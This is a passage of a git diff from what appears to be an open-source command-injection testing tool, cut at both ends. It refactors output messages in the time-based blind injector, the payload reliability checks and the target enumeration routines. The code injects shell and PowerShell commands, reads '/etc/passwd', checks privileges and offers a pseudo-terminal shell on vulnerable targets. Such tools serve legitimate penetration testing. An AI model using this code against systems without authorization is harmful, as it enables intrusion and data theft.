SystemExit() @@ -436,22 +429,23 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r pass else: if menu.enumeration_options(): + _ = True tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + if settings.FILE_ACCESS_DONE == False and _ == False: + print(settings.SINGLE_WHITESPACE) + # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: - if settings.ENUMERATION_DONE == True and new_line: - print(settings.SINGLE_WHITESPACE) while True: - message = "Do you want to ignore stored session and access files again? [Y/n] > " - file_access_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) if file_access_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: - new_line = False break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() @@ -460,39 +454,36 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r print(settings.print_error_msg(err_msg)) pass else: - if not new_line: - print(settings.SINGLE_WHITESPACE) - tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) + if menu.file_access_options(): + tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - # Export injection result - #tb_injector.export_injection_results(cmd, separator, output, check_how_long) # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - if go_back == True: - break - message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) - if gotshell in settings.CHOICE_YES: - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if false_positive_warning: - warn_msg = "Due to unexpected time delays, it is highly " - warn_msg += "recommended to enable the 'reverse_tcp' option.\n" - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - false_positive_warning = False - try: + try: + go_back = False + go_back_again = False + while True: + if go_back == True: + break + message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) + if gotshell in settings.CHOICE_YES: + print(settings.OS_SHELL_TITLE) + if settings.READLINE_ERROR: + checks.no_readline_module() + while True: + if false_positive_warning: + warn_msg = "Due to unexpected time delays, it is highly " + warn_msg += "recommended to enable the 'reverse_tcp' option.\n" + sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) + false_positive_warning = False if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) @@ -515,42 +506,37 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - print("\n" + settings.print_output(output)) + print(settings.SINGLE_WHITESPACE) + print(settings.print_output(output)) + print(settings.SINGLE_WHITESPACE) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, output) - print(settings.SINGLE_WHITESPACE) - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - if not settings.IS_TTY: - print(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise + elif gotshell in settings.CHOICE_NO: + if checks.next_attack_vector(technique, go_back) == True: + break + else: + if no_result == True: + return False + else: + return True + elif gotshell in settings.CHOICE_QUIT: + raise SystemExit() - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break else: - if no_result == True: - return False - else: - return True - - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() + err_msg = "'" + gotshell + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + # break - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - break - + except (KeyboardInterrupt, SystemExit): + raise + + except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) + err_msg = "Exiting, due to EOFError." + print(settings.print_error_msg(err_msg)) + raise if no_result == True: if settings.VERBOSITY_LEVEL == 0: diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 2b2efb2734..da07a0d376 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -182,10 +182,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, found_chars = False info_msg = "Retrieving the length of execution output. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) + print(settings.print_info_msg(info_msg)) for output_length in range(int(minlen), int(maxlen)): if alter_shell: # Execute shell commands on vulnerable host. @@ -204,15 +201,9 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") + print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -244,13 +235,6 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if injection_check == True: if output_length > 1: - if settings.VERBOSITY_LEVEL != 0: - pass - else: - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Retrieved the length of execution output: " + str(output_length) print(settings.print_bold_debug_msg(debug_msg)) @@ -274,8 +258,6 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, info_msg = "Presuming the execution output." if settings.VERBOSITY_LEVEL == 0 : info_msg += ".. (" + str(percent) + ")" - elif settings.VERBOSITY_LEVEL == 1 : - info_msg += "" else: info_msg += "\n" if output_length > 1: @@ -301,15 +283,9 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") + print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -367,17 +343,9 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: check_start = 0 - if settings.VERBOSITY_LEVEL == 0: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - else: - pass - check_how_long = 0 output = False - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) return check_how_long, output """ @@ -393,11 +361,7 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" found_chars = False - debug_msg = "Checking the reliability of the used payload " - debug_msg += "in case of a false positive result. " - if settings.VERBOSITY_LEVEL != 0: - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + checks.check_for_false_positive_result() # Varying the sleep time. timesec = timesec + random.randint(1, 5) @@ -421,15 +385,9 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL != 0: - debug_msg = "Generating payload for testing the reliability of used payload." - print("\n" + settings.print_debug_msg(debug_msg)) - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") + print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -492,15 +450,9 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - sys.stdout.write("\n" + settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for testing the reliability of used payload." - print(settings.print_debug_msg(debug_msg)) + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - sys.stdout.write(settings.print_payload(payload_msg) + "\n") + print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -538,8 +490,6 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese output = "".join(str(p) for p in output) if str(output) == str(randvcalc): - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) return how_long, output else: if settings.VERBOSITY_LEVEL < 2: @@ -552,15 +502,13 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese Export the injection results """ def export_injection_results(cmd, separator, output, check_how_long): - if output != "" and check_how_long != 0 : + print(settings.SINGLE_WHITESPACE) if settings.VERBOSITY_LEVEL == 0: - print("\n") - elif settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) + print(settings.SINGLE_WHITESPACE) print(settings.print_output(output)) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." - sys.stdout.write("\n" + settings.print_info_msg(info_msg)) + sys.stdout.write("\n" + settings.print_info_msg(info_msg) + "\n") else: # Check if exists pipe filtration. if output != False : @@ -572,8 +520,8 @@ def export_injection_results(cmd, separator, output, check_how_long): raise SystemExit() # Check for fault command. else: - err_msg = "The '" + cmd + "' command, does not return any output." if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - sys.stdout.write("\r" + settings.print_critical_msg(err_msg)) + err_msg = "The execution of '" + cmd + "' command does not return any output." + sys.stdout.write("\r" + settings.print_error_msg(err_msg)) # eof \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index a4d8d715ff..ffb04b0018 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -75,28 +75,6 @@ def mobile_user_agents(): print(settings.print_error_msg(err_msg)) pass -""" -The available mobile user agents. -""" -def mobile_user_agents(): - menu.mobile_user_agents() - while True: - message = "Which smartphone do you want to imitate through HTTP User-Agent header? > " - mobile_user_agent = common.read_input(message, default="1", check_batch=True) - try: - if int(mobile_user_agent) in range(1,len(settings.MOBILE_USER_AGENT_LIST)): - return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)] - elif mobile_user_agent.lower() == "q": - raise SystemExit() - else: - err_msg = "'" + mobile_user_agent + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - except ValueError: - err_msg = "'" + mobile_user_agent + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - """ Check for HTTP Method """ @@ -120,7 +98,6 @@ def user_aborted(filename, url): abort_msg = "User aborted procedure " abort_msg += "during the " + assessment_phase() abort_msg += " phase (Ctrl-C was pressed)." - print(settings.SINGLE_WHITESPACE) print(settings.print_abort_msg(abort_msg)) logs.print_logs_notification(filename, url) os._exit(0) @@ -334,7 +311,7 @@ def page_encoding(response, action): except Exception as ex: if settings.PAGE_COMPRESSION is None: warn_msg = "Turning off page compression." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) settings.PAGE_COMPRESSION = False try: if action == "encode" and type(page) == str: @@ -403,7 +380,19 @@ def captcha_check(page): print(settings.SINGLE_WHITESPACE) print(settings.print_bold_warning_msg(warn_msg)) break - + +""" +Checking the reliability of the used payload message. +""" +def check_for_false_positive_result(): + debug_msg = "A potential injection point has been detected. " + debug_msg += "Checking the reliability of the used payload " + debug_msg += "in case of a false positive result. " + # Check if defined "--verbose" option. + if settings.VERBOSITY_LEVEL != 0: + sys.stdout.write(settings.print_bold_debug_msg(debug_msg)) + print(settings.SINGLE_WHITESPACE) + """ Counting the total of HTTP(S) requests for the identified injection point(s), during the detection phase. """ @@ -487,7 +476,7 @@ def check_injection_level(): """ def next_attack_vector(technique, go_back): while True: - message = "Continue with testing the " + technique + "? [y/N] > " + message = "Do you want to continue with testing the " + technique + "? [y/N] > " next_attack_vector = common.read_input(message, default="N", check_batch=True) if next_attack_vector in settings.CHOICE_YES: # Check injection state @@ -632,8 +621,8 @@ def continue_tests(err): Check if option is unavailable """ def unavailable_option(check_option): - warn_msg = "The '" + check_option + "' option " - warn_msg += "is not yet available for windows targets." + warn_msg = "The option '" + check_option + "' " + warn_msg += "is not yet available for Windows targets." print(settings.print_warning_msg(warn_msg)) """ @@ -1342,6 +1331,23 @@ def recognise_payload(payload): if encode_type == 'hexencode': hex_output(payload) + if is_decoded: + while True: + message = "The provided parameter appears to be '" + str(encode_type).split("encode")[0] + "' encoded. " + message += "Do you want to process it encoded? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + break + elif procced_option in settings.CHOICE_NO: + settings.MULTI_ENCODED_PAYLOAD.remove(encode_type) + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + procced_option + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass + if is_decoded: return _urllib.parse.quote(decoded_payload), encoded_with else: @@ -1638,7 +1644,7 @@ def generate_char_pool(num_of_chars): else: # Checks {a..z},{A..Z},{0..9},{Symbols} char_pool = list(range(96, 122)) + list(range(65, 90)) - char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 95)) + list(range(58, 64)) + list(range(123, 127)) + char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 96)) + list(range(58, 64)) + list(range(123, 127)) return char_pool """ @@ -1708,20 +1714,20 @@ def check_wrong_flags(): if settings.TARGET_OS == "win": if menu.options.is_root : warn_msg = "Swithing '--is-root' to '--is-admin' because the " - warn_msg += "target has been identified as windows." + warn_msg += "target has been identified as Windows." print(settings.print_warning_msg(warn_msg)) if menu.options.passwords: warn_msg = "The '--passwords' option, is not yet available for Windows targets." print(settings.print_warning_msg(warn_msg)) if menu.options.file_upload : - warn_msg = "The '--file-upload' option, is not yet available for windows targets. " + warn_msg = "The '--file-upload' option, is not yet available for Windows targets. " warn_msg += "Instead, use the '--file-write' option." print(settings.print_warning_msg(warn_msg)) raise SystemExit() else: if menu.options.is_admin : warn_msg = "Swithing the '--is-admin' to '--is-root' because " - warn_msg += "the target has been identified as unix-like. " + warn_msg += "the target has been identified as Unix-like. " print(settings.print_warning_msg(warn_msg)) """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index ee24a265bb..f0f54c3c9d 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -352,7 +352,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time modules_handler.load_modules(url, http_request_method, filename) checks.tamper_scripts(stored_tamper_scripts=False) - info_msg = "Setting the" + info_msg = "Setting" if not header_name == " cookie" and not the_type == " HTTP header": info_msg += " " + str(http_request_method) + "" info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] @@ -367,10 +367,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time debug_msg = "Skipping heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) else: - decoded_value, decoded_with = checks.recognise_payload(payload=settings.TESTABLE_VALUE) - if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0: - warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded." - print(settings.print_warning_msg(warn_msg)) + if not settings.LOAD_SESSION: + checks.recognise_payload(payload=settings.TESTABLE_VALUE) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) @@ -857,9 +855,8 @@ def do_check(url, http_request_method, filename): print(settings.print_critical_msg(err_msg)) logs.print_logs_notification(filename, url) - if not settings.MULTI_TARGETS: - print(settings.SINGLE_WHITESPACE) - + # if not settings.MULTI_TARGETS: + # print(settings.SINGLE_WHITESPACE) if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS: raise SystemExit() diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 7308d3a709..ef5dd22eee 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -52,14 +52,13 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ if float(ps_version): settings.PS_ENABLED = True # Output PowerShell's version number - info_msg = "The PowerShell's version number is " + info_msg = "Powershell version: " info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The PowerShell's version number is " + ps_version + ".\n" + info_msg = "Powershell version: " + ps_version + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: @@ -90,13 +89,12 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: shell = "".join(str(p) for p in shell) - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + info_msg = "Hostname: " + str(shell) + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The hostname is " + str(shell) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -141,7 +139,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ distro_name = cb_injector.injection_results(response, TAG, cmd) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" + target_os = target_os + " " + distro_name session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -161,20 +159,17 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_arch: - info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + if target_os and target_arch: + info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The underlying operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: - warn_msg = "Heuristics have failed to retrieve the system information." + warn_msg = "Heuristics have failed to fetch underlying operating system information." print(settings.print_warning_msg(warn_msg)) """ @@ -198,66 +193,55 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if cu_account: cu_account = "".join(str(p) for p in cu_account) - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if settings.USE_BACKTICKS: - cmd = cmd.replace("echo $(","").replace(")","") - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1] - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + cu_account - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is privileged.\n") - output_file.close() - else: - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + cu_account + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + info_msg = "Current user: " + str(cu_account) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() else: - warn_msg = "Heuristics have failed to identify the current user." + warn_msg = "Heuristics have failed to fetch the current user." print(settings.print_warning_msg(warn_msg)) +""" +Check if the current user has excessive privileges. +""" +def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + if settings.TARGET_OS == "win": + cmd = settings.IS_ADMIN + else: + cmd = settings.IS_ROOT + if settings.USE_BACKTICKS: + cmd = cmd.replace("echo $(","").replace(")","") + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + shell = cb_injector.injection_results(response, TAG, cmd) + shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1] + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + + _ = "True" + if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ + (settings.TARGET_OS != "win" and shell != "0"): + _ = "False" + + info_msg = "Current user has excessive privileges: " + str(_) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + + """ System users enumeration """ @@ -300,9 +284,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys_users_list = sys_users_list.split() info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " via 'net users' command." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -335,32 +318,25 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) - + print(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that you don't have permissions to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) pass # Unix-like users enumeration. else: - info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE info_msg += "' in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + print(settings.print_info_msg(info_msg)) try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() @@ -370,11 +346,9 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") @@ -386,12 +360,10 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " in '" + settings.PASSWD_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -431,11 +403,11 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method else : is_privileged = "" is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh 